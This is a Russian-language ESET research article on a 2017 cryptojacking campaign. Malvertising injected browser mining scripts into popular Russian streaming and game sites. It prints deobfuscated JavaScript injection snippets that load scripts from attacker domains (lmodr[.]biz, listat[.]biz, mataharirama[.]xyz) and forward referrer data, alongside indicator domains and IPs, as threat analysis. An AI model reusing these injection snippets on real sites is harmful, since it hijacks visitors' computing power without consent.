В последние месяцы мы обнаруживали JavaScript файлы, очевидно предназначенные для майнинга криптовалют напрямую в браузере. Киберпреступники давно освоили майнинг, однако обычно они устанавливают на машины жертв вредоносное ПО, либо потенциально нежелательные приложения (
PUA). В данном случае майнинг производится в браузере, когда пользователь посещает определенные сайты. Нет необходимости искать уязвимости и/или заражать компьютер – достаточно браузера с включенным JavaScript (по умолчанию в большинстве браузеров).
Обзор
По данным телеметрии ESET, один из векторов распространения угрозы – вредоносная реклама (
malvertizing). Тип задач с высокой загрузкой ЦП блокирует большинство рекламных сетей, так как это снижает качество взаимодействия с пользователем. Может показаться, что идея майнинга в браузере противоречит здравому смыслу, поскольку добыча биткоинов требует высокопроизводительных CPU. Но авторы веб-майнера выбрали криптовалюты, не требующие наличия специального оборудования – проще обеспечить достаточное число компьютеров, «заражая» сайты, а не сами машины.
Подобные кампании могут производиться в любой стране, но конкретно эта угроза преобладает в России, Украине и Беларуси (см. рисунок ниже). Причиной таргетирования, вероятно, стал выбор языка сайтов, в которые были внедрены скрипты.
Рисунок 1. Страны, где наиболее активен веб-майнер, по данным телеметрии ESET
На рисунке 2 показан рейтинг одного из доменов:
–reasedoper[.]pw
, на котором были размещены эти скрипты, в Cisco Umbrella Top 1M. Мы отметили существенный рост DNS-поисков по этому адресу за март-апрель 2017. А 28 июня 2017 года
reasedoper[.]pw
достиг 26300-й строки – сопоставимый уровень популярности имеет известный сервис GitHub Gist (
gist.github.com
), занявший 26293-ю строку на ту же дату.
Рисунок 2. Рейтинг reasedoper[.]pw в Cisco Umbrella Top 1M. Чем ниже – тем выше популярность.
История
Идея майнинга криптовалют в браузере не является чем-то новым. В 2013 году студенты Массачусетского технологического института (MIT) основали компанию Tidbit, которая предлагала веб-сервис по майнингу биткойнов. Вместо показа рекламы администраторы сайтов могли зарабатывать на майнинге, добавив скрипт Tidbit к своим сайтам. Вскоре основатели получили повестку в суд, поскольку использовали вычислительные мощности пользователей без их согласия. В итоге стороны пришли к
мировому соглашению, но проект Tidbit пришлось свернуть.
Ранее несколько других сервисов, таких как
bitp[.]it
, предлагали майнинг в браузере. Сервисы прекратили существование из-за малой эффективности майнинга биткоинов при помощи стандартного CPU/GPU. Например, проект
bitp[.]it
закрылся в июле 2011 года.
Как происходит распространение
Метод распространения скрипта этого типа определяет, легитимен он или нежелателен. В этом случае мы обнаружили два способа, позволяющих заставить пользователя выполнить скрипты: вредоносная реклама или жестко запрограммированный фрагмент кода JavaScript.
Рисунок 3. Схема распространения майнинговых скриптов.
Вредоносная реклама
Основной способ распространения майнинговых скриптов – вредоносная реклама. В его основе покупка трафика у рекламной сети и распространение вредоносного скрипта вместо обычной рекламы. В этом конкретном случае мы не уверены, было ли применено внедрение скрипта, либо
listat[.]biz
был скомпрометирован. Но
listat[.]biz
действительно подозрителен, потому что он, похоже, копирует
LiveInternet counter (рейтинг сайтов LiveInternet), легитимный
счетчик посетителей. Более того, многие подозрительные домены были зарегистрированы на тот же адрес электронной почты, включая
lmodr[.]biz
, который также присутствует в этой вредоносной цепочке.
Основные сайты, предоставлявшие трафик для майнинговых скриптов в течение июля 2017, показаны на следующем рисунке. Мы обратили внимание, что здесь преобладают сайты с потоковым видео или браузерными играми. В этом есть смысл, так как пользователи склонны проводить время на одной и той же странице. Кроме того, у таких страниц ожидаемо высокая загрузка ЦП, что позволяет замаскировать дополнительную нагрузку от майнингового скрипта. Так ему удается работать дольше и использовать большую вычислительную мощность.
Рисунок 4. Сайты, предоставляющие трафик майнинговым скриптам, по данным телеметрии ESET.
Сайт, за которым мы наблюдали, с наибольшей вредоносной рекламной активностью,
okino[.]tv
, достаточно популярен. На момент написания статьи его рейтинг в Alexa составлял 907 по России и 233 по Украине. Высокие позиции занимали и другие используемые в кампании сайты, находящиеся в рейтинге Top 1000 Alexa по России.
Рисунок 5. Рейтинг Alexa для Okino[.]tv.
Рисунок 6. Загрузка ЦП при посещении сайта wotsite[.]net.
Ниже на рисунке 7 приведен интересный образец цепочки переадресаций. Первые три переадресации внедряют скрипт, предоставляемый следующим переходом, как показано на рисунках 8, 9 и 10. Первый домен, используемый в переадресации (
skyadsvideo1[.]ru
в нашем примере), не всегда совпадает.
Мы также могли наблюдать
code.moviead55[.]ru
. Оба принадлежат одинаковым IP адресам – 167.114.238.246 и 167.114.249.120. По данным Whois по домену
skyad[.]video
, чей поддомен
code.skyad[.]video
также принадлежит тем же двум адресам, домены указывают на связь с владельцем рекламной сети SkyAdVideo.
Рисунок 7. Цепочка переадресаций от okino[.]tv к майнинговому скрипту.
Рисунок 8. Со стартовой страницы Okino[.]tv.
var script = document.createElement('script');
script.src = '//lmodr[.]biz/mdstat2.php';
script.async = true;
document.head.appendChild(script)
Рисунок 9. Из скрипта на Skyadsvideo1[.]ru/code.php (после деобфускации).
var script = document.createElement('script');
script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL);
script.async = true;
document.head.appendChild(script);
Рисунок 10 – lmodr[.]biz/mdstat2.php.
Поиск по
PassiveTotal показывает, что
listat[.]biz
производил переадресации только на скрипты для майнинга, кроме 1 июня и 5 июля, когда он также перенаправлял пользователя на настоящие веб-счетчики посещений и на
anstatalsl[.]biz
. Похоже,
lmodr[.]biz
и
listat[.]biz
используются только для внедрения майнинговых скриптов.
function show_260() {
var script = document.createElement('script');
script.src = '//mataharirama[.]xyz/launcher.9.single.js';
script.async = true;
document.head.appendChild(script);
}
show_260();
Рисунок 11. listat[.]biz/3.html.
К нашему удивлению мы заметили, что
moviead55[.]ru
, первый переход, также мог внедрять майнер. Он выложен прямо на сайте и может майнить криптовалюту
ZCash. Он использует пул, расположенный на
ws.zstat[.]net:8889
, а коммуникация происходит посредством протокола Web socket. Однако мы не обнаружили сходства в коде со скриптами, выложенными на
reasedoper[.]pw
. Похоже, что это разные группы, занимающиеся извлечением выгоды за счет вычислительной мощности своих посетителей.
Жестко запрограммированный код JavaScript
Мы также обнаружили в кэше Google примерно 60 сайтов, в которые были внедрены почти такие же фрагменты JavaScript, как на рисунке 10. Стартовая страница этих сайтов внедряет скрипт, полученный по адресу
script.php
.